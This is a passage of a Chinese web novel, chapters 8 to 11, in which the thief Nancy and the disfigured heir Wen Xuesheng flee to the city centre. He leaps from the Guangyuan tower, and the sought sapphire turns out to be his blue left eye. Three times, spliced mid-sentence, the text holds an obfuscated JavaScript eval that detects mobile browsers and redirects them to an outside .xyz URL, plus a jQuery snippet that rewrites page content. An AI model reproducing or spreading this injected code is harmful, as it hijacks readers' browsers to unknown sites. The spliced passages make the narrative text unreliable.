南希:“松手松手,喘不动气了!” 温雪生没动。 “自己人自己人!这深山野岭的,没他咱咋逃出去啊?!” 话说完后,南希终于吸到了氧气。 她立马吆喝:“刘总,把这混蛋给我弄下来!” 没一会儿,温雪生就被连人带绳拖入树丛。 刘总这中年胖子第一次干活这么麻利,南希有些不适应,竖了个大拇指。 “谢了,老刘。” 她顺手扶起倒地上、沾了满头土的温大少,忍住笑,违心说: “不过老刘,你也不用太暴力嘛。” 刘总叹气:“小张,跟你说了多少遍,跟男的不能走太近,你还是个小姑娘,不能为了任务就放弃原则,今晚你得多注意着点儿啊。” 南希:“啊,是是是。” 老封建。 她不想听刘总唠叨,赶紧扶温雪生上车,在他旁边坐下,还没坐好,一只大手又把她从车上拉了出去。 刘总凑她耳边说:“我刚才脑子发热,下手重了点,那个,那个温少爷不记仇吧?” 南希斜眼。 刘总搓着手,眯着眼,像是吓着了,跟刚才判若两人。 “这会儿知道怕了?让你再逞能!”南希推开他,转身投到温雪生身边,“哎呀,温大少,刚刚有摔着哪儿吗?” 她看到对方手上有处擦伤,藏青色中红了一道,好像在渗血,“呀,你手背破了!”说着,脑袋探出车窗,眨巴眼,“老刘,有酒精吗?” 刘总跺脚:“木有啊!车上放不了那玩意儿啊……我这就开车去城里给温少爷买个!” 南希收回脖子,皱眉:“大少爷,你都听着了,条件有限,只能委屈你等等了……” 这俩人语气夸张、动作夸张,温雪生哪能看不出这是在演戏,心里有火,不愿理她,侧头看向窗外。 刘总上了车,放手刹,发动车子。 南希把头伸到温雪生眼前。 “你看啥呢?外面黑魆魆的,什么都没有。” 温雪生咬牙。 南希抱住他的脸,掰向前。 “快别看了!温大少,今晚咱们就是一条船上的人,我得给你好好介绍介绍。”她挥手向前,“这位呢,是刘总,济东市有名的地产大老板。” “咳……” 刘总被口水呛到,车子打火失败。 “小张,你可别瞎说。那个,温少爷,我就是个普普通通做生意的。” 他没想到南希能报他的真实身份。 南希“啧啧”两声,眼睛眯成了逢儿,看起来心情很好。她拍拍自己的胸脯,继续介绍:“我呢,叫南希,你知道的,大学生。以后叫我Nancy就可以。” 温雪生嘴角抽搐,又转头看窗外。 南希不在意他的没礼貌,刘总也不在意,毕竟人家身份在这儿,是位养尊处优的大少爷。 “该你介绍了。”南希戳他后背,轻快地说。 温雪生摆张臭脸,依然没理。 奥迪车已经启动,上了盘山公路。 窗外的黑慢慢有了颜色。 月亮很明,星星也多,山里被洒上了一片片银纱、一点点金粉。 过了好久,温雪生比纱还轻的声音才幽幽出现。 “温雪生……诗人。” “……?” 车里安静,这句回话,南希和刘总都听清了。 刘总转头,与南希对视,发现她脸上的表情像吃了屎,跟自己的一样。 温雪生看不到这表情,但已经在生气了。 “你能不能让他专心开车?”他对南希说。 南希踹斜前座椅:“专心开车!” 刘总赶紧回过头,直起腰,开车开出了小学生上课的架势。 两侧风景“嗖嗖”飞过,由石山枯树,变成了高楼大厦。 然后又从高楼大厦退化成低矮平房。 温雪生觉得不对劲:“走了快一个小时了,什么时候到市中心?” 南希轻描淡写:“市中心已经过了,你没看到?” 温雪生瞪大眼,侧身瞅后车窗。 “我不是说去市中心吗?你们这是要去哪儿?” “……去我家。诶诶,你别激动,先听我说。”南希伸手在温雪生脸上捏了一把,“温大少,就你这张脸,和我这身打扮,咱俩去市中心得被警察扣下,要不先到我家凑合一晚,明天再去?” 实际情况是,刘总家里有宵禁,十点以后回家得跪搓衣板,没法陪他们耗。而市中心人多眼杂,南希怕万一温雪生耍心眼,她一个人应付不过来。 温雪生:“我不去。” “不去的话,那你就只能自己上市中心了——” 其实南希早就料到温大少会拒绝,便没提去她家的事儿,想着来个先斩后奏,到时候这大少爷也没辙。 可大少爷人还挺贼,半道儿就发现了猫腻,她有些头大。 “——我丑话放前头,你自己的话,出了事可没人管啊。” “好。”温雪生反手开了车门。 刘总紧急刹车,头上冒汗。 “谢谢你们带我出来。”温雪生留下这句话,下车走了。 刘总回头看南希:“小张,这可是个狠人啊。” 南希抿嘴,一晚上的好心情全没了。她透过车窗,看着温雪生慢慢走到路边,然后停下脚步左右张望。 “靠,这混蛋要打的。”她朝刘总伸出一只手,“外套借我。” “啥?” “我的衣服都扔温沙城堡了,背着那混蛋就没法背包袱!你外套借我啊!” 刘总脱掉棉大衣,递给南希:“你要和他去市中心?” 南希钻进一只肥大的袖子:“废话!差一步,蓝宝石就到手了,我还能不要了?” “那别打的了,我送你!” “快得了吧。你也不看看几点了,再不回去,别说你媳妇了,你闺女都要骂你了!” 南希跳下车,裹着大外套跑到温雪生身边。 说来也巧,她才刚站稳,清冷的街上就拐过来一辆空出租。 温雪生伸手招停,上车。南希跟着,温雪生默许她跟着,只是一上车就抢在她前头说:“去市中心。” 司机抽着烟问:“市中心大了去了,你去哪儿啊?” 温雪生答不出。 他上次去市中心还是十二年前。听李管事说,这些年,外面的世界变化很大,以前的一些地方没了,又有了些新的地方,光市中心就盖了好几栋三四十层的新楼。 他想去看看,又不知道那叫什么。他有些后悔……李管事跟他说话的时候,他总是不耐烦地把他赶走。 “到底上哪儿啊?”司机回头追问。 南希凑过去:“那个,光源大厦。” “诶,好。” 司机的声音低了八度,还发颤。 就是刚刚的那一问,他看清了后座男乘客的脸,一愣,嘴里的烟掉进了车座子缝儿里。 他没敢找,转头继续开车,却又忍不住看后视镜,看不清,就时不时往后乱瞟。 温雪生低头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223772|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想下车,可他总归要去市中心,再打一辆车,估计还是这样。 “你老瞅我男朋友干啥?喜欢男的啊?!” 耳边突然响起这么一声吆喝。 温雪生感觉自己被一股强劲的力量拽了过去,眼睛就只能看见黑色了。 南希把温雪生搂进怀,用刘总的大棉衣罩住他的头。 她腿上紧贴着的胸膛,跳得很凶。 南希:“听着了没?!去光源大厦,还不快点开!” 十分钟后,一辆黄色面的停在了光源路口,比正常时间快了将近四分钟。 南希扶温雪生下车。 等那面的走了,温雪生突然打开她的手:“谁让你说我是你男朋友了?!” 南希莫名其妙:“好心当成驴肝肺。温大少,你搞清楚,我那么说是为了帮你。” 帮他…… 让那司机知道,即使他长这样,也有人喜欢吗? 温雪生的气焰灭了:“你就不怕,不怕丢人?” “怎么丢人?他都不认识我。” 南希终于拽动杵在原地的温雪生,两人一前一后走上马路牙子。 路边高楼林立,灯火通明,南希兴奋起来,指着其中最高的那栋说:“大少爷,你不是想来市中心吗?这里是市中心的中心!你看,那个就是光源大厦,济东最高的楼,有40层呢!” 温雪生仰头,不知什么东西飘到了脸上,伸手一摸,竟化成了水。 “啊,大少爷,好像下雪了!” 温雪生看过去。 雪花一片一片,渐渐变多,变大了,落在南希抬起的手心上,落在她笑得跟孩子一样的眉眼上。 温雪生:“前两天才刚下过雪。” 南希不嫌扫兴:“那我也喜欢,我以前住南方,你不懂一个南方人看到雪的心情!” 温雪生也抬手接雪,却接不住,就算接住了,也留不住。 光源大厦高耸入天。 雪就像从大厦顶上落下来的。 站在它脚下,感觉人都小了,比雪还小,和蚂蚁一样。 温雪生记起来了。 光源大厦。 这四个字他听过,这栋高楼他见过。 在一本厚厚的商业画册上。 那本画册的每一页,都印着他父亲的投资金额。 温雪生不再抬头仰望。 “喂,你,Nan……南希。” 南希胡乱抓了一把雪花,回头,笑容很甜。 “咋了,温大少?对了,你要叫我的话,得叫Nancy。” “……”温雪生,“那你也别再叫我温大少。” “OK啦!”南希回想着,“温雪生!” 温雪生看向别处。 “那个,我想去趟洗手间……比较急,就去光源大厦里面的吧……你在这儿等我。” 他朝光源大厦的旋转门跑去。 南希望着雪中男人的清瘦背影,一时恍惚,想叫住他。 在她的印象里,光源大厦好像不能随便出入。 不过…… 她是瞎操心,要是真进不去,大少爷很快就会回来了。 可温雪生再也没有回来。 雪越下越大,纷纷扬扬。 南希搓手、哈气,有些站不住了。 不远处突然爆发一阵骚动。 路边的人纷纷冲过去。 南希隐约听到有人嚷嚷“跳楼了”。 大脑短暂地陷入一片空白。 紧接着,周围的尖叫声、呼喊声都放大了。 “啊啊啊啊啊!!!!!” “有人跳楼了!!!!!” “从光源大厦最顶上跳下来了!!!!” 9. 第 9 章 温大少…… 南希的脚步动起来,朝簇拥的人群跑去。 跑着跑着,速度慢了。 不对,大少爷还没看完市中心,刚刚还让她以后叫他“温雪生”,答应给她的蓝宝石也还没影儿……他怎么会跳楼? 又瞎想。 南希停下,转身背着人群往回走。 雪迷了眼。 一条黑乎乎的东西,轻飘飘的,伴着飞雪,落到脚边。 她差点踩上,提腿跨过去,慕然回头,视线颤抖着凝固了。 那是一条黑色眼罩,从形状来看,是左眼的。 温大少!! 双腿再一次动了。 南希从小训练跑步,上次测速百米成绩10.94s,比今年在苏黎世田径大奖赛夺冠的梅琳奥蒂,就慢了0.2s。 光源路口,人们看到一个披着大棉服的少女飞了起来。 南希觉得还不够。她从没跑过这么漫长的一百米。 “让开!让开!” 她喘着粗气,拨开眼前的一切障碍,冲入人群。 视线迅速开阔。 她瞧见地上躺着一双纯黑耐克板鞋。温大少今天就穿着这样的鞋。 往上,是微微弯曲的黑色李维斯牛仔裤。温大少今天就穿着这样的裤子。 再往上,棒球领黑夹克…… 再再往上…… “女士,你认识他?” “女士,他是你什么人?” “女士?” 啊…… 南希回过神,抬头。 眼前站着位盘头、戴红框眼镜、穿制服的中年大姐。好像是哪里的工作人员。 “我……” 南希又斜眼往地上瞥。 一个短发皮衣男半蹲在人群中央,他怀里抱着人。 那人闭着眼,皮肤上爬满藏青色纹路。 胳膊、手都在,全身上下完好无损,连滴血都没出。 南希:“啊,嗯,我认识他,我是他,是他……” “是他什么?”中年大姐追问。 南希想起之前在出租车上的话。 “是他女朋友。” “哦,家属。先跟你说下情况,我报了警,一会儿警车、救护车都会来,电视台和报社也马上到,作为家属,你准备准备接受采访。”中年大姐犹豫了下,“我还有些话,要跟你说。 她一摆手,变了副样子,“年轻人,生命只有一次,年轻的生命多宝贵,怎么能跳楼啊?你多劝劝你男朋友,世上没有过不去的坎儿,多大的事儿都不如命重要,绝不能跳楼啊。等你们老了往回看,会发现,曾经那些要死要活的事儿其实都微不足道,干嘛非要跳楼啊……” 南希:“等等,您的意思是,他刚刚真跳了楼?” “对啊,那么多眼睛都看着呢。” “从40楼跳下来的!”旁边一个大爷抢话。 南希又扫了眼温雪生:“所以,他跳了楼,人还没事儿?” 中年大姐:“怎么能叫没事儿呢?要不是这个小伙子见义勇为接住了他,他还能活?” 南希愣了一秒。 不合理。 也不可科学…… 这一秒,脑子里闪过这句话,还带着配音,是温雪生的语气和声音。 可她没继续深想下去,像是已经接受了眼前的不合理,就跟周围看热闹的人一样。 “谢谢你救了我男朋友!”南希蹲下身,想要把温雪生揽到自己怀里。 “小心点,他受了惊,昏迷了。”皮衣男帮南希抬温雪生,动作很轻,“还有,他毕竟是从那么高的地方跳下来的,冲击力太大,我虽然接下了他,却没站稳,让他的腿先着了地,好像骨折了。” “哪条腿?”南希看过去,与皮衣男四目相对,怔住,倒吸了一口气。 “右腿。” 南希没反应。 “右腿。”皮衣男加重声音。 “嗯,我知道了。”南希收回视线,表面平静,内心已经在咆哮。 刚才事情急,边上人多又乱,她就没顾上这个见义勇为的英雄。 她哪里能想到,这位大英雄浓眉大眼、鼻梁高挺、气质出众,阳光帅气…… 绝色啊! 绝到有那么一瞬间,她好像从他身上看到了一圈金光。 “谢谢你,我会小心的……”南希接过温雪生,托着他身体的手故意往右挪了一厘米。 接递东西时,最容易制造不小心碰触手的意外。 可帅哥的手也挪了一厘米。 她没碰到。 南希偷瞄帅哥,对方并无异样。她调整情绪,深呼吸,挥手拍打温雪生的丑脸。 “大……阿生,阿生,你醒醒,是我啊,希希!” 帅哥表情变了,制止:“最好轻点儿,他的脸虽然……好像没受伤,可也不能这样打……” “嗯。”南希温柔应声,手下力度却没减。 帅哥心好,但不懂救人。 拍得重,人才能醒得早。 果然,温雪生眼还没睁,手就抬了起来,拦住了南希快要落下的巴掌。 “别打了……我……” 温雪生的眉头皱成了疙瘩,这是他典型的生气表情。 帅哥还在旁边,南希不能让这位大少爷乱说,立马压下身子把他搂紧,打断了他的话。 “阿生!你可吓死我了,我还以为你要丢下我了……” 温雪生不再出声,哪怕南希搂得他快要喘不上气。 帅哥转过头,小情侣的腻歪画面不是他该看的。 他默默地起身,轻声跟围着的人说“借过”。 “喂,你干嘛去?!” 身后传来女孩子的疾呼。 他又回头:“放心,你男朋友已经脱离危险,等救护车过来就好。” 南希:“你要走?可是,待会儿电视台的要来,你是英雄,他们要采访啊……” 帅哥:“我不上电视,更得走了。” 南希:“那——” 这人不计较名,那利呢?情呢? “——那你救了我男朋友,我们得好好报答你啊……这可不是你一个人的事……” 帅哥笑了:“好,我接受你们的报答。开运路24号,随时找我。” 他挥挥手,干干净净地走入人群,如同电视上演的江湖侠客。 南希这才发现,雪已经停了,像被他带走了。 “我没说要报答他……”温雪生的声音把南希拉回现实。 南希莫名恼火:“你良心被狗吃……” 话没再说下去。 怀里,温雪生睁开了眼睛,包括他一直藏在黑布下的左眼。 南希的脸上隐隐泛着蓝光。 她颤颤巍巍地捂住嘴,想尽力掩盖自己的惊讶。 “你,你的眼睛,怎么,怎么是蓝色的——” 温雪生摸了下左眼:“你发现了……” 周围的人渐渐散了。 只剩下寒风,和抱在地上的“情侣” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223773|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人互相看着对方,一个字都没说,心里却想到了一块儿。 南希突然就明白了,为什么她能预感到蓝宝石藏在温大少房间,却怎么都找不着。 两天前。温雪生问李管事温沙城堡有没有一块蓝宝石。李管事想了很久没想出来。 温雪生不肯放弃,吩咐城堡上下全员出动,哪怕把温沙城堡翻个底朝天,也得找出一块蓝宝石。 为他看病的私人医生例行问诊的时候,城堡里已经被翻得乌烟瘴气,连温雪生的眼罩都蒙上了一层灰。 医生对着镜子给他换眼罩。换着换着,手被一股力量强行按住。 镜子里的温雪生,像是意识到了什么,一双眼睛瞪得滚圆。右眼昏幽黯沉,左眼晶莹剔透、蓝光闪烁,跟颗蓝宝石一样。 南希:“不合理啊……” 怎么会有中国人眼睛是蓝色的…… 光源大厦上的彩灯突然一齐熄灭。 世界暗淡下来。 温雪生抬头看天,没有星星和月亮,只有一栋登天的黑楼。 “危楼高百尺……” 南希:“什么?” 温雪生伸出手,好像在指光源大厦的最高处:“如果没有刚刚那个多事的,你已经拿到你的蓝宝石了。” 南希听懂了,再也没法平静。 “说什么呢!谁让你这样给我宝石的?!那宝石我不要了!” “想要也给不了了。” 尖锐的警笛在很远的地方荡起。 温雪生接着说:“现在几点了?” “不知道。”南希觉得自己像个冤大头。 温雪生自顾自:“不知道离十二点还有多长时间。过了十二点,就是一九九七了。今晚明明是元旦夜,济东却没有庆祝的活动,到现在连灯都没了。” “现在没有,不代表以后没有!将来,说不定一到这天晚上,就会有单位组织活动,把人们都聚在一起喊跨年倒计时。”南希瞪他,“这个事儿,你得多活几年才能见到!” “可我今晚就想喊跨年倒计时。” 南希翻白眼:“大少爷,那一会儿到了医院我陪你喊,行了吧?” 温雪生凝视南希,很快又把目光移开:“你陪不了我,刚才我在光源大厦露了身份。” 警笛声越来越大。 南希能看到路的尽头,有两辆车正在快速逼近。前面的是警车,救护车紧跟其后。 而另一边,一辆看不清车牌的黑色越野停在了光源路口。 温雪生:“如果温四爷知道你绑架了他儿子,还让他儿子跳了楼,你觉得自己会是什么下场?” “我……” 这一晚,千丝万缕,所有发生的事,留下的证据,好像都指向了南希。 面对任何人的盘问,她都百口莫辩。 越野车上下来三个黑衣人。 南希咬牙,放开温雪生,迅速躲进已经散开的路人之中。 那最前面的黑衣人发现了瘫在地上的温雪生,一个箭步飞冲了过去。 路人南希眼中,高瘦的瘸腿少年被黑衣人架起,不急不慢地移向越野车。 那少年低着头,长长的刘海垂下,挡住了半张脸。 却有一道锐利的蓝光穿越障碍,与过路女孩的视线相撞。 刚刚的中年大姐领着几个拿话筒、扛录像机的人赶了过来。 “诶诶诶,怎么走了?你们都是谁呀?他女朋友呢?刚才还在这儿呢!” 南希转身,拐进光源大厦后。 10. 第 10 章 满地烟头。 寒风吹着烟气和少女乌黑的头发,一起朝北去了。 济东大学女生宿舍楼天台,南希趴在女儿墙上,嘴里的烟又要过半。 昨晚她被警察找去问话,没睡好,到现在头还是疼的。 哔—哔哔—哔— 摩托罗拉第五次响铃,南希好像没听到,仍然专心地吸烟、吐气。可当铃声响到第六遍时,她已经没法不去在意。 视野里,一个挺着啤酒肚的中年男子进了校园大门,正穿过掉光了叶子的梧桐树,往她这边走来。 南希眯眼确认了一下,皱起眉头。 真是阴魂不散。 她掏出手机,翻盖:“刘大爷,您有完没完!” 电话那头:“谢天谢地,小张,你可终于接了,再不接我可就要闯你们女生宿舍了!” 南希:“呦,您这是刚从我家那边来吧,还提着堆东西,累不累啊?” “你看着我了?”刘总四处张望,“我咋没瞅着你啊?” 南希:“别找了,我这位置,可以狙了你。” “别说得那么吓人。你在上面啊?”刘总抬头,继续四处张望,“你可别想不开啊!组织都说给你把任务延期三天了!” “呸,晦气!你成天想啥呢?我这是在思考,站得高,看得远,才想得深。” “好好好,你们年轻人思想新,肯定比我想得深。”刘总难得不反驳,好像真怕南希想不开,“小张,警察没找你事儿吧?” “我编了段跟温大少的恋爱史,放心,没破绽。警察很快就放我回来了。” “那就成。中午睡起觉来那会儿,孙老太给我来电话了,说温少爷从医院回家了,没提你的事,他们家大管事也没提,看来这事儿就这样过去了。” “哦。”烟抽完了,南希把烟头扔地上,用脚碾灭,“刘总,既然说到这儿了,我就跟你聊聊我怎么想的。别说延三天,这任务就算再延个三年,我也办不了。” “那你打算怎么着?把自己搭进去?不瞒你啊,这两天我联系到了一个西北的接头人,向他打听了下情况……忒瘆人了!前两年,他们那个赔光了积蓄的执行人,在任务失败后,就没人再见过他了……” “……说不定组织给他换了个身份。” “小张,别天真,组织——” “打住,我就不该接你电话。我虽然不是啥好人,但为了自己去挖人眼睛的事儿我做不出来。当年张叔带我进组织,说这年头人们争名逐利,丢了咱最传统的侠士精神,让我做个古时候那样的女侠,劫富济贫。现在想想,这些话其实挺恶心的,可再恶心,也是我当初留下的理由。 “刘总,你去跟组织说,任务我放弃,后果我承担。” 电话里不再有声音。 南希低头望着远处,那啤酒肚堪堪被几个枯树枝子挡住了。 “说话啊,不说话你也别停着不动啊。” 啤酒肚听话地继续往前走,南希看到他好像在脸上抹了一把。 话筒里便出现了吸鼻子的“刺溜”声。 “诶,你不会哭了吧?” “我感冒了!”刘总加快了步伐,“你到底在哪儿啊?我给你带了点好吃的——” “刘总!”南希突然打断他,声音带着惊恐,“你左后方!” “左,后?” 刘总回头,禁不住打了个哆嗦。 一位西装革履的中年男子正大步逼进,他脸上有条很长的刀疤,像只成精的蜈蚣。 而男子眼前,走得好好的小胖忽然鬼附身似地转头瞪他,把他吓了一跳。 他稳了稳神,走到对方面前,礼貌地问:“老师,你认识我?” 七分钟后。 刘总带着西装男到了济东大学中央的明月湖。 南希早就在湖边等着了,心里预设了几十种李管事对她大发雷霆的场景,一看到他们,就赶紧迎了过去。 “叔!李管事!你俩咋一块儿来了?” 刘总不自在地笑。 李管事面无表情。 两个人都没回答她的问题,特别是李管事,气色不太好,看起来并不想跟南希多说话。他从手提包里小心翼翼地掏出一个硬纸盒。 “这个给你。” ? 南希偷瞥李管事,感觉到一丝怒意,犹犹豫豫地回:“我?” 李管事:“对。” 刘总左右瞅瞅这俩人,开口了:“诶呀,大管事,刚才路上碰着的时候,你把这东西给我就是了,还用麻烦你再跑过来了?” 李管事睨了他一眼,继续直视南希,把纸盒递给她:“少爷让我亲手交到你手里。” “哦,好。”南希有些懵,接过东西就要拆。 “等等。”李管事制止,“去没人的、安全的地方拆。”交代完这些后,他就走了,好像一分钟都不想多呆。 南希和刘总笑着目送他离开。等看不见影儿后,南希立马双手抠纸盒,拆了它。 “大冬天的,除了腻歪的小情侣谁来这儿啊?够安全了。” 盒子开了,里面竟然还有个盒子。 南希继续拆,拆到最后,是一个暗红色绒布盒,跟大楼里装金戒指的盒子长得一模一样。 这会儿,不光南希有第六感,刘总都有了第六感。 刘总盯着南希:“这玩意儿该不会是……” 南希心跳得很快,伴着刘总有些发颤的声音,打开了绒布盒,只看了一眼,又迅速合上,套娃似地,把它放回刚才那一堆纸盒里。 南希沉声:“走,刘总,咱们去找个没人的、安全的地方。” * 一月三号。 傍晚,天边彩霞一层又一层。 锦华典当行的店员正在拉铁门准备闭店。 路边卖烤地瓜的大妈回着头问:“小王啊,今天咋这么早就下班了?” 小王看看天:“不晚了,要是再晚点,天就黑了,我们这儿就跟银行似的,安全第一。”说完,铁门被拽到最底下,他上了锁,背包跑了。 大妈嘀咕:“以前也没见你说要安全……” 小王穿过一条街,拐进胡同,好像饶了一个圈儿。他走到一个厚重的铁门前,开锁,迈进一片黑,没一会儿,竟又拿起钥匙,精准的插.到黑暗里。 这样重复了三次,世界终于明亮。 眼前是一个不算宽敞的柜台。 柜台上装有一面防盗铁栅栏。 铁栅栏后面坐着个翘二郎腿、带墨镜的齐刘海女孩。 那女孩嘴角咧开露出笑:“呦,速度又快了。” 小王没接话,工作时他不喜欢跟客人闲谈。 他把脸板成木头,走到柜台前坐好,从包里取出一个塑料文件夹,查看了一翻,对女孩说:“温沙城堡蓝宝石,延期三天,到期日一九九七年,一月四日。” 女孩:“没错,我提早了一天呢。”她边说边把手里的绒布盒推进铁栅栏的缝隙里。 小王目不斜视:“申请任务延期的执行人,在下一单任务分配后,不得拒绝,你是否知晓?” 女孩挑眉:“不知晓。” “那么,现在是否知晓? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223774|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦。” 收到肯定答复,小王终于看向绒布盒。他带好白手套,打开盒盖,脸上随之泛起一层淡淡的蓝光,连瞳孔似乎都变蓝了。 “漂亮。”他忍不住赞叹,可很快又板起脸,把绒布盒放入柜台下面的保险柜,顺手取出一枚印章,和一份已经写好的支票。 “这是薪酬,接头人的那份我会通知他来取。” 说话间,他沾印泥,盖章,把支票递出了铁栅栏。 “谢谢。”女孩接过支票,看都没看就塞进剑桥包,好似心不在焉地说,“除了支票,应该还有别的东西。” 接头人曾在电话里告诉她,“这单要是能成,你也许就能知道你是谁”。 小王回答:“据资料所示,的确还有别的东西,不过,因为任务延期,需要在下次的强制任务完成后,才能交给你。” “OK。” 女孩收起二郎腿,起身要走,忽然又回头,笑着,“对了,我还有件事要问你。” 小王:“请问。” 女孩咧开的嘴角更翘了。 “你怎么知道,我给你的这块蓝宝石,就是组织要的蓝宝石?” 小王沉默。 “我没有看到你验货。” “我不需要验货。” “为什么?” 小王沉默。 “我接任务时,并没有收到跟这宝石有关的资料,你们就不怕我找错东西?换个说法,你们就不怕收错了?” “我不会收错。” “为什么?” “……这些不是执行人该知道的。” 女孩注视着那铁栅栏后面的男人。 不短不长的头发,不大不小的眼睛,不高不矮的鼻梁。 毫无表情的脸。 实在太普通了。哪怕已经见过他十几次,她也不敢保证,如果在大街上碰到,自己能一眼认出他。 普通到惊悚。 女孩耸耸肩,放弃追问:“好吧。” 小王起身,弯腰向她鞠躬:“蓝宝石任务圆满结束,辛苦了。” 他指向摆在墙边的一个旧沙发,沙发后有个暗门,门上挂着个金色的“当”字。 “正门已关,请从侧门离开。” 五分钟后,小王锁好侧门,真得要下班了。 他像往常一样,收拾柜台,关灯闭门,可手指竟僵在了墙壁的开关上。 “你们就不怕收错了?” 脑中是女孩刚才的问话。 他快步走到保险柜前,半蹲,输密码,开柜,取绒布盒,打开。 一颗闪闪发光的精美石头映入眼帘。 温柔圆润,湛蓝如海。 “弄不错。”他喃喃。 * 蓝宝石任务一波三折,有惊无险。 其实到最后南希也没搞明白,这蓝宝石到底是什么,不过不重要,温大少的眼睛还在他脸上就成。 南希觉得浑身累,趁强制任务还没来,给自己放了假。 寒假。 假期哪都好,就是校园里的帅哥,还有那些跟她一块鬼混的同学都回全国各地过年去了,只有她自己还留在济东。 她窝在空荡荡的宿舍死睡了一天一夜,然后回空荡荡的家打了三天三夜小霸王,打到醉生梦死、满眼血丝,就又死睡了一天一夜。 到第六天一睁眼,肚子饿得咕咕叫,意识却清醒了。 脑子里冒出一个浓眉大眼的阳光美男。 还有一句充满磁性的话: 开运路24号,随时找我。 11. 第 11 章(番外) “蓝宝石!” …… 头好晕。 太阳穴在跳。 “蓝宝石对我很重要。” 怎么又想起她了…… 等等,旁边是谁在说话? “卢院长,雪生怎么还不醒?” 是那个人……温四。 毕竟儿子差点死了,他总得露个面装一装…… 卢院长:“少爷身体底子不好……全麻手术可能……” 温四:“接个腿做什么全麻!!??” 卢院长:“可是少爷坚持……” 哦,对,上一秒的记忆还是手术室刺眼的大灯。他不顾阻拦,逼麻醉医生给他上了全麻。 据说,全麻手术,有那么一丁点的几率,永远醒不过来。 温四:“给我个时间,雪生能醒的时间!” 卢院长:“这……我……” 咣! 一道开门的声音,听起来很急。 “老大!温沙城堡里面果真有问题,您看,搜出来一堆这玩意儿!” 温四:“这是……窃听器?!” “是啊,老大,太吓人了!城堡每个旮旯都被放了窃听器!也不知道某些人怎么干活的,先是让少爷被劫持,之后又……” “好了。”温四打断他,“大发,那个女的找到了吗?” “额……老大,还没……” 这个声音有些远,说话的人应该是站在病房的边角。 温四:“多派点人手,尽快把人给我抓回来。” 李大发:“诶,好……只是,有件事我得跟您汇报一下。” 他开始走动。 “少爷他好像……女的。” 中间几个字是什么? 听不清。 温四:“你确定?!” 他为什么突然这么激动? 李大发:“八九不离十。” 温四:“好,好。跟兄弟们说说,不用找她了。这事儿我就不掺合了,让雪生自己处理吧。大发,你好好听雪生的安排。当然,如果有问题,该找我还是得找,跟以前一样,私底下,别让他知道。” “是,老大。” 他的态度转变了。 好像还有种开心的感觉…… 李大发究竟跟他说了什么? 温四:“事情到此为止,你们都散了吧,我想自己陪陪……” 咚咚咚…… 有人敲门。 温四:“直接进来就行。” 吱呦—— 那人推开了门。 “老大。啊,刘司令和李管事也在呀。那个……老大,我怕打扰您看少爷,本来不想催您,可是,您再不走的话,就赶不上七点那趟飞机了……” 温四:“哦,哦!今天要去平河对吧?” “是……您约了大洋集团的张总……” “唉,年纪大了,我这记性都不好了。” “老大,您别乱说!” “老大,您年轻着呢!” “老大,您只是太忙了!” …… 几句急切的恭维几乎一齐被喊出,乱七八糟的,温雪生分也没法分辨哪句是谁说的。 下一秒,他感觉到眼睛上的刘海被拨到了耳后。 额头上留下一抹十分粗糙的触感。 吱呦—— 门再次被轻轻推开。 温四:“大发,卢院长,好好照顾少爷。” “是。” “您放心。” 哒哒哒…… 温四出了门,后面跟着俩人。 看来,现在病房里只剩下李管事和卢院长了。 卢院长:“那个,李管事,我去问问麻醉医生,看看少爷到底怎么回事。对了,麻烦你给少爷放点儿音乐,说不定能把他唤醒。” 李大发:“好好好,您快去吧。” 一分钟后,李大发打开了收音机。 电音传出: “警方严正声明:所谓‘女鬼’之说纯属无稽之谈,这极有可能是犯罪嫌疑人为了作案方便,或故布疑阵而进行的伪装。警方已经抽调精干警力成立专案…… 刺啦刺啦…… 李大发换了台。 “如果您或您的亲友近期曾目击过符合“红头发”这一显著特征的可疑人员……” “诶呀,真晦气。” 李大发再次换台。 “请广大市民切勿传播未经证实的“灵异”传言,以免干扰警方正常办案……” “怎么都是这个!就不能放首歌?!”李大发气急败坏,继续换台,却突然打翻了收音机,屁股差点从椅子滑到地上。 他看到了一只湛黑的眼睛。 病床上,浑身爬满藏青纹路的少年,不知何时睁开了眼,正一动不动地盯着他! 鬼! 温雪生冷笑:“李管事,我吓到你了?” “啊,没有没有……”李大发晃过神,咽了口唾沫,重新坐好,“啊……那个……那个少爷您醒了?可太好……” 温雪生打断:“我不想听你的废话,把收音机弄好,我要听。” “啥?” 少爷要听警察通报? 后面这句话李大发没敢说,他乖乖捡起收音机,拍了两下。 电音恢复稳定。 温雪生果真把警察关于“红发女鬼”的案情通报播听了一遍。 